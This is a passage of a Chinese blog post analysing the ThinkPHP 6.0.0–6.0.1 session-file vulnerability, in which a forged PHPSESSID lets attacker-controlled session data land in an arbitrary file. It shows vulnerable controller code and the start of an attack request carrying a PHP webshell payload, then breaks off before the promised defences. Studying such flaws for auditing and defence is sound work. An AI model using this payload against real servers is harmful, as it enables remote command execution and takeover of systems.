ThinkPHP 6.0会话管理漏洞全解析:从原理到防御实战
最近在审计某企业级PHP应用时,发现一个令人后怕的安全隐患——攻击者仅需修改浏览器Cookie中的PHPSESSID值,就能在服务器上任意位置写入Webshell。深入追踪发现,这正源于ThinkPHP 6.0早期版本中那个著名的会话管理漏洞。本文将带您穿透表象,从框架源码层面拆解漏洞形成机制,并分享我在实际渗透测试中验证过的三种防御方案。
1. 漏洞形成的内在逻辑
ThinkPHP 6.0.0-6.0.1的会话处理机制中存在一个危险的信任链条。当开发者使用Session类存储用户数据时,框架会默认采用文件驱动(File Handler)进行会话持久化。问题出在三个关键环节:
- 会话ID接收:通过
setId()方法直接使用客户端传来的PHPSESSID - 路径拼接:自动添加
sess_前缀后直接作为文件名 - 内容写入:使用
file_put_contents()进行无过滤写入
典型的漏洞触发代码如下:
// 漏洞触发点示例
public function unsafeAction(Request $request, Session $session)
{
$userInput = $request->get('data');
$session->set('unsafe_key', $userInput);
return '操作成功';
}
攻击者只需构造如下HTTP请求即可实现攻击:
GET /unsafeAction?data=<?php system($_GET['cmd']);?> HTTP/1.1
Cookie: P

2792

被折叠的 条评论
为什么被折叠?



